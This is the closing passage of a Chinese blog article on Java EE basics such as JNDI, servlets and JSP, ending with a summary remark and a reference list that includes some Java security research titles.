通过这种分层架构,JNDI 为开发人员提供了一个统一的、灵活的和易于使用的接口,用于查找和访问分布式系统中的远程对象和资源。

最后的最后,复读一下“文中所介绍的几个功能应该算是 Java 初学者最先接触的技术,虽然只是冰山一角,但通过对这些技术的学习可以让我们管窥 Java EE 的全貌,也为后续针对性的研究打好基础。 ”

Reference

  1. Java 安全研究初探 - evilpan
  2. Java EE - Oracle
  3. Jakarta EE - Wikipedia
  4. Java Web 安全 - javasec.org
  5. JSRs by Committee - SE/EE
  6. https://github.com/jakartaee
  7. Jakarta_Servlet - Wikipedia
  8. JSR 340: Java Servlet 3.1 Specification
  9. How Spring Web MVC Really Works
  10. Jakarta_Server_Pages - Wiki
  11. JSP Tutorial
  12. JSR 245: JavaServerTM Pages 2.1
  13. JNDI 注入漏洞的前世今生 - evilpan